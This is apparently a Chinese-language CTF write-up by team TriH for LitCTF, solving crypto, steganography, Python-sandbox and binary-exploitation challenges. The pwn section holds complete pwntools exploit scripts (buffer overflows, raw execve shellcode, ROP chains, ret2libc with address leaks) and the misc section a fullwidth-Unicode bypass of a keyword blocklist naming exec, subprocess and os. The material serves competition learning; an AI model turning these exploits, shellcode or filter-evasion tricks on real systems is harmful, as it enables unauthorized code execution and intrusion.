LitCTF-TriH-WP
LitCTF-TriH-WP
队⻓:ruye
队员:innocent
47756454256
队伍名称:TriH
排名:41
Crypto
1. lit_xor_two_story
题目分析
题目给了两段密文:
c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
同时脚本中给出第二段明文:
M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"
加密逻辑为:
c1 = m1 ^ k
c2 = m2 ^ k
这里同一段 OTP 密钥流 k 被复用了。由异或性质可得:
m1 = c1 ^ c2 ^ m2
解题脚本
c1 = bytes.fromhex(
"5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31"
"bf14ab7a0a82ccc108f8476f75c98a28"
)
c2 = bytes.fromhex(
"5f70a847ce123cc153283ca710ae7f042b8490a238eb222897"
"0fad6a2694f2985dc5557e69e5f474"
)
m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"
flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(flag)
Flag
litctf{otp_reuse_never_twice_same_key__}
2. lit_elgamal_handshake
题目分析
题目是 ElGamal 加密,公钥和密文如下:
p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g = 3
y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
题目还在 debug 日志中泄露了长期私钥:
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
ElGamal 加密形式为:
c1 = g^k mod p
c2 = m * y^k mod p
由于 y = g^x mod p,所以:
y^k = (g^k)^x = c1^x mod p
因此可以直接解密:
s = c1^x mod p
m = c2 * s^{-1} mod p
解题脚本
from Crypto.Util.number import long_to_bytes
p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
s = pow(c1, x, p)
m = c2 * pow(s, -1, p) % p
print(long_to_bytes(m))
Flag
litctf{elgamal_leak_makes_happy_decrypt}
3. lit_rsa_neighbor
题目分析
题目给出 RSA 参数:
n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537
脚本:
p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
q = int(gmpy2.next_prime(q))
n = p * q
也就是说,q 是从 p 连续取 next prime 得到的。虽然中间隔了若干个素数,但两个数仍然很接近,适合使用费马分解。
费马分解基于:
n = p * q = a^2 - b^2 = (a - b)(a + b)
当 p 和 q 接近时,a = ceil(sqrt(n)) 附近很快就能找到平方差。
解题脚本
from math import isqrt
from Crypto.Util.number import long_to_bytes
n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537
a = isqrt(n)
if a * a < n:
a += 1
while True:
b2 = a * a - n
b = isqrt(b2)
if b * b == b2:
break
a += 1
p = a - b
q = a + b
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
Flag
litctf{rsa_fermat_finds_close_primes}
4. lit_tiny_key_aes
题目分析
题目使用 AES-128-ECB,密钥前 13 字节固定:
KEY_PREFIX = b"LitCTF2026!!!"
AES-128 密钥总长度为 16 字节,因此未知部分只有 3 字节:
key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX
密文为:
c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"
未知密钥空间为:
2^24 = 16777216
这个范围可以直接离线爆破。解密后检查明文是否以 litctf 开头,并验证 PKCS#7 padding。
解题脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
c = bytes.fromhex(
"0cdb2760c931f705912b0f4dedbc9bf1"
"d844cdfd0cb9b6b24a3c8619064bb3a2"
"a418873c76ac1b627523aab5497fd8d3"
)
prefix = b"LitCTF2026!!!"
for i in range(1 << 24):
suffix = i.to_bytes(3, "big")
key = prefix + suffix
pt = AES.new(key, AES.MODE_ECB).decrypt(c)
if pt.startswith(b"litctf"):
try:
print("suffix =", suffix)
print(unpad(pt, 16))
break
except ValueError:
pass
爆破得到:
suffix = b"7\xa2\x01"
Flag
litctf{aes_tiny_brut3_for_the_win!}
Misc
lit_lsb_base64_clean
关于lsb隐写
把图片拖入随波逐流,发现疑似base64编码的东西

解码得到

LitCTF{lsb_1s_fun_w1th_b4s3_64}
lit_rush_qr_clean
叫豆包补全二维码定位符

扫码得到flag
lit_sstv_clean
知道这是sstv,直接叫ai写脚本


lit_welcome_clean Writeup
1. 基础检查
- 文件:
welcome.png,5148 bytes,900×500 RGB - PNG 结构正常,仅 IHDR / IDAT / IEND 三个块
- 无隐藏文本块(tEXt/iTXt/zTXt)
2. 像素分析
from PIL import Image
import numpy as np
img = Image.open('welcome.png')
pixels = np.array(img)
# 统计唯一颜色
unique = np.unique(pixels.reshape(-1, 3), axis=0)
# 结果只有两个颜色:
# RGB(254, 255, 255) → #feffff (7318像素)
# RGB(255, 255, 255) → #ffffff (442682像素)
整张图只有两个颜色,差异仅在于 R 通道的 LSB(254 vs 255),肉眼完全无法分辨。
3. 提取二值图
# R=254 → 黑, R=255 → 白
binary = (pixels[:,:,0] == 254).astype(np.uint8) * 255
Image.fromarray(binary, 'L').save('reveal.png')
4. 结果
生成的 reveal.png 直接以 ASCII 艺术字显示了 flag。

lit_pyjail_reader
题目分析
连接后服务器运行一段 Python 脚本,核心逻辑如下:
- 验证码:生成 8 位随机大写字母,要求输入其反转串
- 第一次读文件:提示读取
/app/where_is_flag.txt(包含 flag 真实路径) - 第二次读文件:读取上一步获得的路径,拿到 flag
源码关键部分
def safe_read(path: str) -> str:
p = path.strip()
if not p or p.startswith("-") or "\x00" in p:
raise ValueError("invalid path")
with open(p, "r", errors="replace") as f:
return f.read(MAX_FILE)
校验逻辑只阻止了空路径、以 - 开头、含空字节的路径。没有路径遍历限制,也没有 eval/exec。题目描述明确写了"无 RCE",所以按照提示读文件即可。
解题步骤
- 连接并完成验证码
服务端发送:
Please enter the reverse of 'FEXCESXB' to continue:
提取单引号内字符串并反转:FEXCESXB → BXSECXEF,发送回去。
- 第一步读文件 — 获取 flag 路径
收到提示后发送 /app/where_is_flag.txt,服务端返回:
--- begin ---
/flag
--- end ---
File path (2/2):
提取得到 flag 路径为 /flag。
- 第二步读文件 — 获取 flag
发送 /flag,服务端返回 flag。
解题脚本
import re
import socket
HOST = "challenge.cyclens.tech"
PORT = 32690
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((HOST, PORT))
# ---- 验证码 ----
data = b""
while b": " not in data:
data += sock.recv(1024)
prompt = data.decode(errors="replace")
m = re.search(r"'([A-Z]+)'", prompt)
challenge = m.group(1)
answer = challenge[::-1]
sock.sendall((answer + "\n").encode())
# ---- 等待 File path (1/2) 提示 ----
data = b""
while b"File path (1/2): " not in data:
data += sock.recv(1024)
# ---- Step 1: 读 flag 路径 ----
sock.sendall(b"/app/where_is_flag.txt\n")
data = b""
while b"File path (2/2): " not in data:
data += sock.recv(1024)
resp = data.decode(errors="replace")
begin = resp.find("--- begin ---")
end = resp.find("--- end ---")
flag_path = resp[begin + len("--- begin ---"):end].strip()
# ---- Step 2: 读 flag ----
sock.sendall((flag_path + "\n").encode())
data = b""
while True:
try:
chunk = sock.recv(1024)
if not chunk:
break
data += chunk
except socket.timeout:
break
flag = data.decode(errors="replace").strip()
print(f"Flag: {flag}")
sock.close()
Flag
flag{hxj1mkye-ilpb-4hg-84mo-ndfb4lfc2lshl}
lit_pyjail_unicode
沙箱逻辑
```
核心过滤:正则匹配 ASCII 关键字
BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os.|sys.|\bposix\b",
re.IGNORECASE,
)
def banned(raw: str) -> bool:
if "\u" in raw or "\U" in raw or "\x" in raw:
return True
return BANNED.search(raw) is not None
三道防线:
- 禁止
\u、\U、\x转义序列(挡住 Unicode escape) - 正则
\b...\b词边界匹配 ASCII 关键字 - 检查对象是用户发送的原始源码字符串
执行路径
out = eval(line, {"__builtins__": __builtins__})
eval() 满权限,__builtins__ 全给。过滤本身不拦截具体操作,只拦截源码中的 ASCII 关键字。
矛盾点
| 阶段 | 处理对象 | 编码 |
|---|---|---|
banned() 检查 |
用户原始字节流 | 只看 ASCII |
eval() 编译 |
源码字符串 | NFKC 归一化后编译 |
关键知识:Python 3 在编译标识符前会做 NFKC 归一化。全角字母(Fullwidth Latin,U+FF01–U+FF5E)归一化后折叠为对应 ASCII 字母。
Unicode 等价表
| 全角字符 | 码位 | 归一化为 |
|---|---|---|
| o | U+FF4F | o |
| p | U+FF50 | p |
| e | U+FF45 | e |
| n | U+FF4E | n |
| r | U+FF52 | r |
| a | U+FF41 | a |
| d | U+FF44 | d |
Payload
open('/flag').read()
- 正则看到的是全角字符串
open,不是open→ 不触发\bopen\b \u等转义也未出现在源码中 → 通过第二道防线eval()编译时 NFKC 归一化:open→open,read→read→ 正常执行
连接
echo "open('/flag').read()" | nc challenge.cyclens.tech 31022
结果
flag{xmaxymff-6by8-4qi-8gy0-4kk1zuzy2bcda}
PWN
1. lit_ret2text32
保护检查
Arch: i386-32-little
RELRO: No RELRO
Canary: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
程序是 32 位 ELF,无 PIE、无 Canary,NX 开启。由于程序中存在后门函数,所以不需要执行 shellcode,直接 ret2text 跳转到后门函数即可。
漏洞分析
源码关键部分如下:
void backdoor() {
system("/bin/sh");
}
void vuln() {
char buf[48];
printf("Welcome, rookie! Can you find the backdoor?\n");
printf("Input: ");
read(0, buf, 0x200);
}
buf 只有 48 字节,但 read 最多读取 0x200 字节,存在栈溢出。目标是覆盖返回地址,让程序返回到 backdoor()。
通过符号表得到后门函数地址:
backdoor = 0x8049213
需要注意的是,实际偏移不能只按源码中的 48 + 4 计算。反汇编 vuln 后可以看到:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
...
lea eax, [ebp - 0x38]
read(0, buf, 0x200)
buf 实际位于 ebp - 0x38,因此覆盖返回地址的偏移为:
0x38 + 4 = 60
利用思路
构造 payload:
"A" * 60 + p32(backdoor)
函数返回时跳转到 backdoor(),执行 system("/bin/sh"),之后读取 flag。
EXP
from pwn import *
HOST = "challenge.cyclens.tech"
PORT = 30503
elf = context.binary = ELF("./ret2text32")
context.log_level = "info"
OFFSET = 60
BACKDOOR = elf.symbols["backdoor"]
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path)
io = start()
payload = flat(
b"A" * OFFSET,
BACKDOOR,
)
io.sendlineafter(b"Input: ", payload)
if args.REMOTE:
io.sendline(b"cat /flag* 2>/dev/null; cat flag* 2>/dev/null; cat /home/ctf/flag* 2>/dev/null")
io.interactive()
运行结果
flag{psloxp3q-ddwj-4cp-81s0-jnca9h1krfxhp}
2. lit_ret2shellcode
保护检查
Arch: amd64-64-little
RELRO: No RELRO
Canary: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
程序是 64 位 ELF,无 Canary、无 PIE,并且栈可执行。因此可以把 shellcode 写到栈上,再覆盖返回地址跳回栈上的 shellcode。
漏洞分析
源码关键部分如下:
void vuln() {
char buf[100];
printf("Welcome to the Shellcode Workshop!\n");
printf("Here is a hint for you: buf is at %p\n", buf);
printf("Leave your mark on the stack: ");
read(0, buf, 0x200);
printf("Your work is done.\n");
}
这里有两个关键点:
read(0, buf, 0x200)可以溢出buf。- 程序直接打印
buf的栈地址,可以绕过栈地址随机化。
反汇编 vuln:
push rbp
mov rbp, rsp
sub rsp, 0x70
...
lea rax, [rbp - 0x70]
read(0, buf, 0x200)
...
leave
ret
buf 实际位于 rbp - 0x70,所以覆盖返回地址的偏移为:
0x70 + 8 = 120
利用思路
程序会输出栈上 buf 的地址,例如:
Here is a hint for you: buf is at 0x7ffe14cab2a0
解析这个地址作为返回地址,然后把 shellcode 放在 buf 开头。payload 结构为:
shellcode + padding 到 120 字节 + p64(buf_addr)
本地环境没有可用的汇编器,因此 EXP 中直接使用固定 amd64 /bin/sh shellcode,避免依赖 asm(shellcraft.sh())。
EXP
import os
os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.getcwd(), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")
from pwn import *
HOST = "challenge.cyclens.tech"
PORT = 30598
context.binary = ELF("./ret2shellcode")
context.log_level = "info"
OFFSET = 0x70 + 8
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(context.binary.path)
io = start()
io.recvuntil(b"buf is at ")
buf_addr = int(io.recvline().strip(), 16)
log.info("buf = %#x", buf_addr)
shellcode = (
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
b"\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
)
payload = shellcode.ljust(OFFSET, b"\x90") + p64(buf_addr)
io.sendlineafter(b"Leave your mark on the stack: ", payload)
if args.REMOTE:
io.recvuntil(b"Your work is done.\n")
io.sendline(b"cat /flag* 2>/dev/null; cat flag* 2>/dev/null; cat /home/ctf/flag* 2>/dev/null")
io.interactive()
运行结果
flag{fgaqu8t0-ybyd-4wa-8pnc-d5jxt1dyt4e3g}
3. lit_integer_overflow
保护检查
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。二进制中存在 backdoor() 函数,会直接执行 system("/bin/sh"),因此利用目标是通过栈溢出覆盖返回地址,跳转到 backdoor()。
漏洞分析
源码关键部分如下:
void backdoor() {
system("/bin/sh");
}
void read_data() {
char buf[64];
int size;
printf("How many bytes do you want to read? (0-63): ");
scanf("%d", &size);
if (size >= 0 && size <= 63) {
printf("Reading %d bytes...\n", size);
} else {
printf("Invalid size! But I'll still read it anyway...\n");
}
read(0, buf, (unsigned int)size);
}
程序本意是限制输入长度在 0-63,但即使长度非法,后面仍然会调用 read()。如果输入 -1,size 是有符号整数,传给 read 的第三个参数时被强转为无符号整数:
-1 -> 0xffffffff
这样就可以向 64 字节的 buf 中读取大量数据,造成栈溢出。
反汇编 read_data 可见:
push rbp
mov rbp, rsp
sub rsp, 0x50
...
lea rax, [rbp - 0x40]
read(0, buf, size)
...
leave
ret
buf 位于 rbp - 0x40,理论上覆盖返回地址的偏移为:
0x40 + 8 = 72
实际远程利用时还需要注意 scanf("%d") 和底层 read() 混用的问题。scanf 解析 -1 后会多读一个非数字字符作为 lookahead,并把它留在 stdio 缓冲中;后面的 read(0, ...) 直接从文件描述符读取,不会读取 stdio 缓冲中的这个字符。因此发送 b"-1" + payload 时,payload 的第一个字节会被 scanf 消耗,远程实际需要多补 1 个 padding:
OFFSET = 0x40 + 8 + 1 = 73
利用思路
构造 payload:
"-1" + "A" * 73 + ret + backdoor
其中额外的 ret 用于栈对齐,避免进入 system() 时因为栈未按 16 字节对齐而崩溃。由于程序无 PIE,backdoor 地址固定,可以直接从符号表中取出。
EXP
import os
import time
os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.getcwd(), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")
from pwn import *
HOST = "challenge.cyclens.tech"
PORT = 31665
elf = context.binary = ELF("./integer_overflow")
context.log_level = "info"
OFFSET = 0x40 + 8 + 1
BACKDOOR = elf.symbols["backdoor"]
RET = ROP(elf).find_gadget(["ret"]).address
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path)
io = start()
payload = flat(
b"A" * OFFSET,
RET,
BACKDOOR,
)
io.sendafter(b"How many bytes do you want to read? (0-63): ", b"-1" + payload)
if args.REMOTE:
time.sleep(0.2)
io.sendline(b"/bin/cat /flag* 2>/dev/null; /bin/cat flag* 2>/dev/null; /bin/cat /home/ctf/flag* 2>/dev/null")
print(io.recvrepeat(2).decode("latin-1", "replace"), end="")
else:
io.interactive()
运行结果
flag{ad4e7sos-e6hk-4vp-8gbl-anfgbkhxphya6}
4. lit_ropchain
题目信息
- 类型:PWN
- 题目:lit_ropchain
- 附件:
ropchain,main.c - 远程:
challenge.cyclens.tech:32200 - Flag:
flag{9noevwsr-djjw-492-8v6b-vn36xkzltmr0x}
保护检查
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。由于栈不可执行,不能直接打 shellcode;题目也没有现成的 "/bin/sh" 字符串,因此需要手工构造一条 ROP 链,先把 "/bin/sh\x00" 写到 .bss,再调用 system()。
漏洞分析
源码关键部分如下:
char bss_buf[0x100];
__attribute__((naked, noinline)) void gadget_pop_rdi(void) {
__asm__ __volatile__("pop %rdi\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_rsi(void) {
__asm__ __volatile__("pop %rsi\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_rdx(void) {
__asm__ __volatile__("pop %rdx\nret\n");
}
void vuln() {
char buf[64];
printf("Welcome to the ROP Master challenge!\n");
printf("Can you chain the pieces together?\n");
printf("Input: ");
read(0, buf, 0x200);
}
buf 只有 64 字节,但 read(0, buf, 0x200) 允许输入 512 字节,显然存在栈溢出。
这题的好处是题目作者已经把常用 ROP gadget 塞进程序里了,符号表里能直接拿到:
pop rdi ; ret = 0x401166
pop rsi ; ret = 0x40116b
pop rdx ; ret = 0x401170
read@plt = 0x401060
system@plt = 0x401040
bss_buf = 0x403460
覆盖偏移按源码即可确定:
offset = 64 + 8 = 72
其中 64 字节是缓冲区,额外 8 字节用于覆盖保存的 rbp,再往后就是返回地址。
利用思路
目标分两步:
- 利用第一次溢出把返回地址改成 ROP 链。
- 在 ROP 链里调用
read(0, bss_buf, 8),把"/bin/sh\x00"写入.bss。 - 接着设置
rdi = bss_buf,调用system(bss_buf)。
对应的 ROP 链结构如下:
"A" * 72
+ pop rdi ; ret
+ 0
+ pop rsi ; ret
+ bss_buf
+ pop rdx ; ret
+ 8
+ read@plt
+ pop rdi ; ret
+ bss_buf
+ system@plt
这里有个小细节:我一开始按常见 amd64 习惯在 system() 前额外补了一个 ret 做对齐,但远程环境下这反而会导致利用失败。实际测试后,不加这个 ret 才是稳定链。
EXP
import os
os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.path.dirname(__file__), ".cache"))
os.environ.setdefault("PWNLIB_NOTERM", "1")
from pwn import *
context.binary = elf = ELF("./ropchain", checksec=False)
context.log_level = "info"
HOST = "challenge.cyclens.tech"
PORT = 32200
offset = 64 + 8
pop_rdi = elf.symbols["gadget_pop_rdi"]
pop_rsi = elf.symbols["gadget_pop_rsi"]
pop_rdx = elf.symbols["gadget_pop_rdx"]
ret = 0x40101A
bss_buf = elf.symbols["bss_buf"]
read_plt = elf.plt["read"]
system_plt = elf.plt["system"]
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path)
chain = [
pop_rdi,
0,
pop_rsi,
bss_buf,
pop_rdx,
8,
read_plt,
pop_rdi,
bss_buf,
]
if args.ALIGN:
chain.append(ret)
chain.append(system_plt)
payload = flat(b"A" * offset, *chain)
io = start()
io.sendafter(b"Input: ", payload)
io.send(b"/bin/sh\x00")
if args.CMD:
sleep(0.2)
io.sendline(args.CMD.encode())
print(io.recvrepeat(2).decode(errors="replace"))
else:
io.interactive()
远程取 flag 时可以直接这样跑:
python solve.py REMOTE CMD="cat flag; exit"
运行结果
flag{9noevwsr-djjw-492-8v6b-vn36xkzltmr0x}
5. lit_ret2syscall32
保护检查
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
程序是 32 位 ELF,无 PIE、无 Canary,NX 开启。题目描述已经提示得很直白:没有 system(),没有现成的 "/bin/sh",但可以通过 int 0x80 直接触发系统调用。因此这题本质上是一个 32 位 ret2syscall。
漏洞分析
源码关键部分如下:
char data_buf[0x100];
__attribute__((naked, noinline)) void gadget_pop_eax(void) {
__asm__ __volatile__("pop %eax\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_ebx(void) {
__asm__ __volatile__("pop %ebx\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_ecx_ebx(void) {
__asm__ __volatile__("pop %ecx\npop %ebx\nret\n");
}
__attribute__((naked, noinline)) void gadget_pop_edx(void) {
__asm__ __volatile__("pop %edx\nret\n");
}
__attribute__((naked, noinline)) void gadget_mov_edx_eax(void) {
__asm__ __volatile__("mov %eax, (%edx)\nret\n");
}
__attribute__((naked, noinline)) void gadget_int_0x80(void) {
__asm__ __volatile__("int $0x80\n");
}
void vuln() {
char buf[64];
printf("Input: ");
read(0, buf, 0x200);
}
buf 只有 64 字节,但 read(0, buf, 0x200) 最多读取 512 字节,存在明显的栈溢出。
这题最友好的地方在于,题目作者把几乎所有需要的 gadget 都直接塞进程序里了,不依赖 libc,也不用辛苦找零碎指令。利用时我们需要的关键地址如下:
data_buf = 0x804b3a0
gadget_pop_eax = 0x80491a6
gadget_pop_ebx = 0x80491ab
gadget_pop_ecx_ebx = 0x80491b0
gadget_pop_edx = 0x80491b6
gadget_mov_edx_eax = 0x80491bb
gadget_int_0x80 = 0x80491c1
偏移需要按实际栈布局来算。反汇编 vuln 可见:
push ebp
mov ebp, esp
sub esp, 0x48
...
lea eax, [ebp - 0x48]
read(0, buf, 0x200)
...
leave
ret
所以 buf 实际位于 ebp - 0x48,覆盖返回地址的偏移为:
0x48 + 4 = 76
利用思路
32 位 Linux 下,execve("/bin//sh", 0, 0) 的系统调用号是 11,寄存器约定为:
eax = 11
ebx = "/bin//sh" 的地址
ecx = 0
edx = 0
但题目没有现成的 "/bin/sh" 字符串,所以先要把它写到可写段 data_buf。这里可以利用:
pop edx ; ret
pop eax ; ret
mov dword ptr [edx], eax ; ret
分两次把 "/bin" 和 "//sh" 写到 data_buf 与 data_buf+4。之所以写成 "/bin//sh",是因为它正好能按 4 字节对齐拆成两个 dword,效果和 "/bin/sh" 一样。
之后设置寄存器并执行 int 0x80:
"A" * 76
+ write(data_buf, "/bin")
+ write(data_buf + 4, "//sh")
+ pop eax ; ret -> 11
+ pop ecx ; pop ebx -> 0, data_buf
+ pop edx ; ret -> 0
+ int 0x80
这样程序就会直接执行 execve("/bin//sh", NULL, NULL),拿到 shell 后读取 flag 即可。
EXP
import os
from pathlib import Path
os.environ.setdefault("XDG_CACHE_HOME", str(Path(__file__).resolve().parent / ".cache"))
from pwn import *
context.arch = "i386"
context.os = "linux"
HOST = "challenge.cyclens.tech"
PORT = 30409
OFFSET = 76
DATA_BUF = 0x804B3A0
POP_EAX = 0x80491A6
POP_EBX = 0x80491AB
POP_ECX_EBX = 0x80491B0
POP_EDX = 0x80491B6
MOV_EDX_EAX = 0x80491BB
INT_0X80 = 0x80491C1
def write_dword(where, value):
return flat(
POP_EDX,
where,
POP_EAX,
value,
MOV_EDX_EAX,
)
payload = flat(
b"A" * OFFSET,
write_dword(DATA_BUF, u32(b"/bin")),
write_dword(DATA_BUF + 4, u32(b"//sh")),
POP_EAX,
0xB,
POP_ECX_EBX,
0,
DATA_BUF,
POP_EDX,
0,
INT_0X80,
)
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process("./ret2syscall32")
io = start()
io.recvuntil(b"Input: ")
io.send(payload)
io.sendline(b"cat /flag* 2>/dev/null || cat flag 2>/dev/null")
print(io.recvall(timeout=2).decode(errors="replace"))
运行结果
flag{sizaqa1q-7j2c-4mz-8cro-ieheamgiypkkz}
6. lit_ret2libc
保护检查
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
程序是 64 位 ELF,无 PIE、无 Canary,NX 开启。题目描述提示得很明确:二进制本身没有 system() 和 "/bin/sh" 可直接利用,因此思路就是先泄露 libc 地址,再做 ret2libc。
漏洞分析
源码关键部分如下:
__attribute__((naked, noinline)) void gadget_pop_rdi(void) {
__asm__ __volatile__(
"pop %rdi\n"
"ret\n"
);
}
__attribute__((naked, noinline)) void gadget_xor_rax(void) {
__asm__ __volatile__(
"xor %rax, %rax\n"
"ret\n"
);
}
void __attribute__((noinline)) leak_value(void **addr) {
printf("Leak: %p\n", *addr);
}
void vuln() {
char buf[64];
printf("The backdoor is lost, but maybe libc can help?\n");
printf("Tell me your name: ");
read(0, buf, 0x200);
}
这里有三个关键点:
read(0, buf, 0x200)可以对 64 字节栈缓冲区造成明显溢出。- 程序没有现成后门,但作者特意埋了
pop rdi ; retgadget,方便构造 ROP。 - 还提供了
leak_value(void **addr),它会把传入地址处存放的指针值打印出来,因此可以直接泄露 GOT 中已经解析好的 libc 函数地址。
覆盖偏移按栈布局可直接确定为:
64 + 8 = 72
也就是 64 字节缓冲区加上保存的 rbp。
利用思路
整体分两步:
- 先泄露 libc 地址。
- 再根据 libc 基址计算
system和"/bin/sh",构造第二条 ROP 链拿 shell。
第一阶段可以直接调用题目提供的 leak_value():
"A" * 72
+ pop rdi ; ret
+ printf@got
+ xor rax, rax ; ret
+ leak_value
+ ret
+ main
这里选择泄露 printf@got 和 read@got。xor rax, rax ; ret 是个小细节,它能把 rax 置零,避免进入 printf 这类变参函数时因为 al 状态不对而崩掉。泄露结束后没有直接回 vuln(),而是先补一个 ret 再回 main,这样栈对齐更稳定,程序会重新进入 vuln(),方便发第二阶段 payload。
远程实测泄露值满足:
printf = libc + 0x606f0
read = libc + 0x114850
这与 glibc 2.35 的偏移一致,因此可以计算:
libc_base = printf_leak - 0x606f0
system = libc_base + 0x50d70
"/bin/sh" = libc_base + 0x1d8678
第二阶段 payload 就是标准 ret2libc:
"A" * 72
+ ret
+ pop rdi ; ret
+ bin_sh
+ system
其中额外补一个 ret,同样是为了 16 字节栈对齐,避免调用 system() 时崩溃。
EXP
import argparse
import os
os.environ.setdefault("XDG_CACHE_HOME", os.path.join(os.path.dirname(__file__), "..", ".cache"))
from pwn import *
context.binary = exe = ELF("./ret2libc", checksec=False)
context.log_level = "info"
HOST = "challenge.cyclens.tech"
PORT = 30190
OFFSET = 72
POP_RDI = 0x4011B7
XOR_RAX = 0x4011BC
RET = 0x40101A
LEAK_VALUE = exe.symbols["leak_value"]
MAIN = exe.symbols["main"]
LIBC_PRINTF = 0x606F0
LIBC_SYSTEM = 0x50D70
LIBC_BIN_SH = 0x1D8678
def start(remote_mode: bool):
if remote_mode:
return remote(HOST, PORT)
return process(exe.path)
def leak_addr(io, got_addr: int) -> int:
payload = flat(
b"A" * OFFSET,
POP_RDI,
got_addr,
XOR_RAX,
LEAK_VALUE,
RET,
MAIN,
)
io.sendafter(b"Tell me your name: ", payload)
io.recvuntil(b"Leak: ")
return int(io.recvline().strip(), 16)
def exploit(remote_mode: bool, cmd: bytes | None):
io = start(remote_mode)
printf_leak = leak_addr(io, exe.got["printf"])
read_leak = leak_addr(io, exe.got["read"])
log.success(f"printf leak = {printf_leak:#x}")
log.success(f"read leak = {read_leak:#x}")
libc_base = printf_leak - LIBC_PRINTF
system = libc_base + LIBC_SYSTEM
bin_sh = libc_base + LIBC_BIN_SH
log.success(f"libc base = {libc_base:#x}")
log.success(f"system = {system:#x}")
log.success(f"/bin/sh = {bin_sh:#x}")
payload = flat(
b"A" * OFFSET,
RET,
POP_RDI,
bin_sh,
system,
)
io.sendafter(b"Tell me your name: ", payload)
if cmd:
io.sendline(cmd)
print(io.recvrepeat(2).decode(errors="replace"))
else:
io.interactive()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--remote", action="store_true")
parser.add_argument("--cmd")
args = parser.parse_args()
exploit(args.remote, args.cmd.encode() if args.cmd else None)
远程取 flag 时可以直接这样跑:
python solve.py --remote --cmd "cat /flag /flag.txt /home/*/flag*"
运行结果
flag{52yohtbz-gj0x-4fi-8xpg-gkknsspkkmtkl}
Reverse
